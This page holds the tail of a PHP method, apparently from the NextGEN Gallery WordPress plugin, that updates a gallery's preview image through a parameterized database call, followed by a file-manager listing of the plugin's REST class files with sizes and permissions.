			// phpcs:ignore WordPress.DB.DirectDatabaseQuery
			$wpdb->update(
				$wpdb->nggallery,
				[ 'previewpic' => (int) $image_id ],
				[ 'gid' => $gallery_id ],
				[ '%d' ],
				[ '%d' ]
			);
		}
	}
}

Filemanager

Name Type Size Permission Actions
http Folder 0755
AlbumREST.php File 24.78 KB 0644
DisplayTypeREST.php File 9.48 KB 0644
GalleryREST.php File 30.73 KB 0644
ImageOperationsREST.php File 43.89 KB 0644
ImageREST.php File 33.56 KB 0644
LicenseREST.php File 3.47 KB 0644
NotificationsREST.php File 5 KB 0644
PluginManagementREST.php File 6.92 KB 0644
SettingsREST.php File 30.29 KB 0644
TagREST.php File 7.73 KB 0644
Filemanager